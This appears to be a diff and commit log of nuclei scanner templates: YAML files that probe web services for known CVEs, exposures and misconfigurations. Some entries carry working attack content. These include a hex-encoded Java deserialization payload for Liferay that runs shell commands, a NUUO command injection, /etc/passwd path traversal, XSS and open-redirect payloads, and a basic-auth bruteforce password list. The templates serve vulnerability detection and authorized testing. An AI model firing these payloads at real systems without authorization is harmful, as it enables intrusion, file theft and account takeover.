%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: cve-2020-16846
+
+info:
+  name: SaltStack Shell Injection
+  author: dwisiswant0
+  severity: critical
+  description: |
+    SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
+    with the SSH client enabled, can result in shell injection.
+
+    This template supports the detection part only. See references.
+
+    References:
+    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
+    - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/run"
+      - "{{BaseURL}}:8000/run"
+    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
+    headers:
+      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
@@ -0,0 +1,39 @@
+id: cve-2020-26214
+info:
+
+  name: Alerta Authentication Bypass (CVE-2020-26214)
+  author: CasperGN
+  severity: critical
+  description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
+
+  # Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
+  # Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/config'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+        condition: or
+      - type: regex
+        regex:
+          - 'provider":"ldap"'
+          - 'provider": "ldap"'
+        condition: or
+    extractors:
+      - type: regex
+        part: body
+        name: alerta-version
+        group: 1
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
@@ -36,7 +36,6 @@ requests:
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        X-Requested-With: XMLHttpRequest
        cmd2: command
-        Accept-Encoding: gzip, deflate

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
    matchers-condition: and
@@ -0,0 +1,31 @@
+id: cve-2020-8209
+
+info:
+  name: Citrix XenMobile Server Path Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    Improper access control in Citrix XenMobile Server 10.12 before RP2,
+    Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10
+    before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
+
+    References:
+    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: word
+        words:
+          - "fileDownload=true"
+          - "application/octet-stream"
+          - "attachment;"
+        condition: and
+        part: header
@@ -0,0 +1,28 @@
+id: cve-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body
@@ -18,7 +18,6 @@ requests:
          Content-Type: application/json
          Origin: http://{{Hostname}}
          Referer: http://{{Hostname}}/artifactory/webapp/
-          Accept-Encoding: gzip, deflate
          Accept-Language: en-US,en;q=0.9
          Connection: close

@@ -7,8 +7,10 @@ info:

  # Update the list with more CNAMEs related to azure
  # You need to claim the CNAME in Azure portal (https://portal.azure.com) to confirm the takeover.
+  # Reference:- https://godiego.tech/posts/STO/, kudos to @secfaults for sharing process details.
  # Do not report this without claiming the CNAME.

+
 dns:
  - name: "{{FQDN}}"
    type: A
@@ -0,0 +1,71 @@
+id: mx-service-detector
+
+info:
+  name: E-mail service detector
+  author: binaryfigments
+  severity: info
+  description: Check the email service or spamfilter that is used for a domain.
+
+dns:
+  - name: "{{FQDN}}"
+    type: MX
+    class: inet
+    recursion: true
+    retries: 5
+    matchers-condition: or
+    matchers:
+      - type: word
+        name: "Office 365"
+        words:
+          - "mail.protection.outlook.com"
+      - type: word
+        name: "Google Apps"
+        words:
+          - "aspmx2.googlemail.com"
+          - "aspmx3.googlemail.com"
+          - "alt1.aspmx.l.google.com"
+          - "alt2.aspmx.l.google.com"
+          - "aspmx.l.google.com"
+      - type: word
+        name: "ProtonMail"
+        words:
+          - "mail.protonmail.ch"
+          - "mailsec.protonmail.ch"
+      - type: word
+        name: "Zoho Mail"
+        words:
+          - "mx.zoho.eu"
+          - "mx2.zoho.eu"
+          - "mx3.zoho.eu"
+      - type: word
+        name: "ForcePoint Email Security"
+        words:
+          - "in.mailcontrol.com"
+      - type: word
+        name: "E-Zorg NL"
+        words:
+          - "spamfilter02.ezorg.nl"
+          - "spamfilter01.ezorg.nl"
+          - "spamfilter.ezorg.nl"
+          - "spamfilter03.ezorg.nl"
+      - type: word
+        name: "Kerio Cloud EU"
+        words:
+          - "mx1.eu1.kerio.cloud"
+          - "mx2.eu1.kerio.cloud"
+      - type: word
+        name: "Kerio Cloud US"
+        words:
+          - "mx1.us1.kerio.cloud"
+          - "mx2.us1.kerio.cloud"
+          - "mx3.us1.kerio.cloud"
+      - type: word
+        name: "Proofpoint EU"
+        words:
+          - "mx1-eu1.ppe-hosted.com"
+          - "mx2-eu1.ppe-hosted.com"
+      - type: word
+        name: "Proofpoint US"
+        words:
+          - "mx1-us1.ppe-hosted.com"
+          - "mx2-us1.ppe-hosted.com"
@@ -0,0 +1,20 @@
+id: spoofable-spf-records-ptr
+
+info:
+  name: Find spoofable SPF records containing the PTR mechanism
+  author: binaryfigments
+  severity: info
+  description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable.
+
+dns:
+  - name: "{{FQDN}}"
+    type: TXT
+    class: inet
+    recursion: true
+    retries: 3
+    matchers:
+      - type: word
+        words:
+          - "v=spf1"
+          - " ptr "
+        condition: and
@@ -11,6 +11,7 @@ requests:
      - "{{BaseURL}}/.svn/entries"
      - "{{BaseURL}}/.svn/prop-base/"
      - "{{BaseURL}}/.svn/text-base/"
+
    matchers-condition: and
    matchers:
      - type: regex
@@ -20,3 +21,7 @@ requests:
      - type: status
        status:
          - 200
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
@@ -14,12 +14,16 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 1
        Connection: close

+    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "[core]"
+          - "[core]"
+
+      - type: dsl
+        dsl:
+          - 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
@@ -2,7 +2,7 @@ id: server-status-localhost

 info:
  name: Server Status Disclosure
-  author: bauthard
+  author: bauthard & geeknik
  severity: low

 requests:
@@ -14,6 +14,8 @@ requests:
      X-Remote-Addr: "127.0.0.1"
      X-Forwarded-For: "127.0.0.1"
      X-Originating-IP: "127.0.0.1"
+      X-Host: "127.0.0.1"
+      X-Forwarded-Host: "127.0.0.1"
    path:
      - "{{BaseURL}}/server-status"
    matchers:
@@ -0,0 +1,98 @@
+id: basic-auth-bruteforce
+
+info:
+  name: Basic Auth Bruteforce
+  author: "@w4cky_"
+  severity: high
+
+  # Impotent Notes:-
+  # This is specific template to work with basic 401 authentication endpoint.
+  # Do not run this template on non basic authentication related endpoints to avoid false positive results.
+
+requests:
+
+  - payloads:
+      username:
+        - admin
+        - manager
+        - administrator
+        - username
+        - login
+        - anonymous
+        - test
+        - guest
+        - root
+        - demo
+
+      password:
+        - admin
+        - pass1
+        - pass1
+        - root
+        - welcome
+        - p@ssw0rd
+        - user
+        - test
+        - testest
+        - dupa8
+        - admin123
+        - admin1234
+        - admin12345
+        - anonymous
+        - manager
+        - linux
+        - system
+        - oracle
+        - administrator
+        - 11111111
+        - qwerty123
+        - cisco123
+        - admin123456
+        - 1qazXSW@
+        - master
+        - 123qweasd
+        - 1qaz2wsx
+        - 123456789
+        - 1234567890
+        - !qaz@wsx
+        - !q@w
+        - wubao
+        - pa55w0rd
+        - 123abc
+        - 123456
+        - 123456789
+        - qwerty
+        - password
+        - 1111111
+        - 12345678
+        - abc123
+        - 1234567
+        - password1
+        - 12345
+        - 1234567890
+        - 123123
+        - 000000
+        - Iloveyou
+        - 1234
+        - 1q2w3e4r5t
+        - Qwertyuiop
+        - 123
+        - Monkey
+        - Dragon
+        - demo
+
+    attack: clusterbomb
+
+    raw:
+      - |
+        GET /protected HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic {{base64('username:password')}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+
+    matchers:
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,35 @@
+id: wp-plugin-scan
+info:
+  name: Wordpress Plugin Scanner
+  author: pdteam
+  severity: info
+  description: wordlist based wordpress plugin scanner.
+
+requests:
+
+  - payloads:
+      plugin_wordlist: wordlists/wp-plugins.txt
+
+      # Thanks to RandomRobbieBF for the wordlist
+      # https://github.com/RandomRobbieBF/wordpress-plugin-list
+
+    attack: sniper
+    threads: 50
+
+    raw:
+      - |
+        GET /plugin_wordlist HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "== Description =="
@@ -2,7 +2,7 @@ id: basic-xss-prober

 info:
  name: Basic XSS Prober
-  author: nadino
+  author: nadino & geeknik
  severity: low

  # Basic XSS prober
@@ -12,7 +12,15 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "\"><injectable>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -5,8 +5,8 @@ info:
  # Name is the name of the template
  name: Top 15 XSS Check
  # Author is the name of the author for the template
-  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
-  author: foulenzer
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
+  author: foulenzer & geeknik
  # Severity is the severity for the template.
  severity: medium
  #  Description optionally describes the template.
@@ -16,6 +16,8 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+    redirects: true
+    max-redirects: 1
    matchers-condition: and
    matchers:
      - type: word
@@ -25,4 +27,4 @@ requests:
      - type: word
        words:
          - "text/html"
-        part: header
+        part: header
@@ -9,7 +9,11 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/global-protect/login.esp"
+      - "{{BaseURL}}/sslmgr"
+
    matchers:
      - type: word
        words:
          - "<title>GlobalProtect Portal</TITLE>"
+          - "<msg>Invalid parameters</msg>"
+        condition: or
@@ -2,7 +2,7 @@ id: kubernetes-pods-api

 info:
  name: Kubernetes Pods API
-  author: ilovebinbash
+  author: ilovebinbash & geeknik
  severity: critical
  description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.

@@ -20,4 +20,7 @@ requests:
      - type: word
        words:
          - "application/json"
-        part: header
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: apache-tomcat-snoop
+
+info:
+  name: Apache Tomcat example page disclosure - snoop
+  author: pdteam
+  severity: low
+  description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
+
+  # Reference:- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Request URI: /examples/jsp/snp/snoop.jsp'
+
+      - type: status
+        status:
+          - 200
@@ -84,6 +84,7 @@ requests:
          - "JMImplementation"
          - "EnvironmentManager"
          - "org.springframework.boot.loader"
+          - "health"
        condition: or
      - type: status
        status:
@@ -0,0 +1,22 @@
+id: basic-auth-detection
+
+info:
+  name: Basic auth detection
+  author: "@w4cky_"
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 401
+
+      - type: word
+        words:
+          - "Www-Authenticate:"
+        part: header
@@ -0,0 +1,24 @@
+id: kibana-detect
+
+info:
+  name: Kibana Service Detection
+  author: petruknisme
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?next=%2F"
+      - "{{BaseURL}}/bundles/login.bundle.js"
+      - "{{BaseURL}}/bundles/kibana.style.css"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - "<title>Kibana</title>"
+          - "kibanaLoaderWrap"
+          - "kibanaLoader"
+          - "xpack"
+          - "Elasticsearch B.V"
+        condition: or
@@ -2726,3 +2726,9 @@ requests:
          - "SEEEMS.FRAMEWORK"
        condition: or
        part: body
+
+      - type: regex
+        name: awselb
+        regex:
+          - 'awselb'
+        part: header
@@ -0,0 +1,27 @@
+id: nuuo-nvrmini2-upgradehandlephp-rce
+
+info:
+  name: NUUO NVRmini2 3.0.8 - Remote Code Execution
+  author: berkdusunur
+  severity: critical
+
+  # Reference:-
+  # https://www.exploit-db.com/exploits/40209
+  # https://github.com/berkdsnr/NUUO-NVRMINI-RCE
+  # https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "/upload_tmp_dir/"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: open-redirect

 info:
  name: Open redirect Detection
-  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
+  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
  severity: low
  description: A user-controlled input redirect users to an external website.

@@ -19,7 +19,7 @@ requests:
      - "{{BaseURL}}//evil.com/..;/css"
      - "{{BaseURL}}/evil%E3%80%82com"
      - "{{BaseURL}}/%5Cevil.com"
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
    matchers:
      - type: regex
        regex:
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Referer: http://{{Hostname}}/login.php
        Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Origin: http://{{Hostname}}
        Connection: close
@@ -0,0 +1,15 @@
+id: basic-auth-workflow
+
+info:
+  name: Basic auth detection and bruteforce workflow
+  author: "@w4cky_"
+
+variables:
+  basic_auth_detect: technologies/basic-auth-detection.yaml
+  basic_auth_bruteforce: fuzzing/basic-auth-bruteforce.yaml
+
+logic:
+  |
+  if basic_auth_detect()  {
+     basic_auth_bruteforce()
+        }
@@ -1,7 +1,7 @@
-id: jira-exploitaiton-workflow
+id: jira-exploitation-workflow

 info:
-        name: Jira Exploitaiton workflow
+        name: Jira Exploitation workflow
        author: micha3lb3n

 variables:
@@ -19,6 +19,7 @@ variables:
        jira_cve_6: cves/CVE-2020-14179.yaml
        jira_cve_7: cves/CVE-2020-14181.yaml
        jira_cve_8: cves/CVE-2019-8442.yaml
+        jira_cve_9: cves/CVE-2019-3402.yaml

 logic:
        |
@@ -36,4 +37,5 @@ logic:
                jira_cve_6()
                jira_cve_7()
                jira_cve_8()
+                jira_cve_9()
        }
@@ -17,6 +17,8 @@ variables:
  wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
  wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
  w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
+  wordpress_wpcourses_info_disclosure: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
+  sassy_social_share: vulnerabilities/sassy-social-share.yaml
  wordpress_cve: cves/CVE-2019-9978.yaml
  wordpress_cve_2: cves/CVE-2019-6715.yaml
Author	SHA1	Message	Date
GitHub Action	eb270c814c	Auto Update README [Wed Nov 18 19:13:34 UTC 2020] 🤖	2020-11-18 19:13:34 +00:00
bauthard	1ec8040a8d	Merge pull request #624 from dwisiswant0/add/CVE-2020-13942 Add CVE-2020-13942	2020-11-19 00:42:55 +05:30
GitHub Action	536539570e	Auto Update README [Wed Nov 18 19:09:59 UTC 2020] 🤖	2020-11-18 19:09:59 +00:00
bauthard	7d41f99f4e	Merge pull request #623 from dwisiswant0/add/CVE-2020-16846 Add CVE-2020-16846	2020-11-19 00:39:33 +05:30
Dwi Siswanto	05f41079f4	🔥 Add CVE-2020-13942	2020-11-19 00:47:19 +07:00
Dwi Siswanto	63cfa344bd	🔥 Add CVE-2020-16846	2020-11-19 00:21:07 +07:00
GitHub Action	5bd7f829ab	Auto Update README [Wed Nov 18 14:52:25 UTC 2020] 🤖	2020-11-18 14:52:25 +00:00
bauthard	224e42bbbd	readme wip	2020-11-18 20:21:29 +05:30
GitHub Action	c882f01d0d	Auto Update README [Tue Nov 17 19:15:06 UTC 2020] 🤖	2020-11-17 19:15:06 +00:00
bauthard	2544f78855	Merge pull request #622 from dwisiswant0/feature/auto-update-readme Enhance auto update README	2020-11-18 00:44:38 +05:30
Dwi Siswanto	18c74bc6c9	🔨 Remove unused import	2020-11-18 01:55:17 +07:00
Dwi Siswanto	be8472e760	✏️ Incorrect closing tag	2020-11-18 01:33:14 +07:00
Dwi Siswanto	bd7cb4643f	📝 Add trailing newlines	2020-11-18 01:29:05 +07:00
Dwi Siswanto	ed4cbf6df4	✏️ Wrong variable template	2020-11-18 01:26:27 +07:00
Dwi Siswanto	6ac16c7660	🔨 Fix incorrent path script	2020-11-18 01:23:48 +07:00
Dwi Siswanto	8d47af848b	✏️ Remove unnecessary args	2020-11-18 01:21:17 +07:00
Dwi Siswanto	2a3259b338	🔨 Auto update readme improves	2020-11-18 01:21:17 +07:00
Dwi Siswanto	7f48d4c8c5	🔨 Fix conflicts	2020-11-18 01:20:40 +07:00
GitHub Action	d477db3002	Auto Update README [Tue Nov 17 18:12:06 UTC 2020] 🤖	2020-11-17 18:12:06 +00:00
bauthard	951a32d833	readme wip	2020-11-17 23:41:29 +05:30
bauthard	245450ba03	Merge pull request #617 from geeknik/patch-15 Update open-redirect.yaml	2020-11-17 18:26:19 +05:30
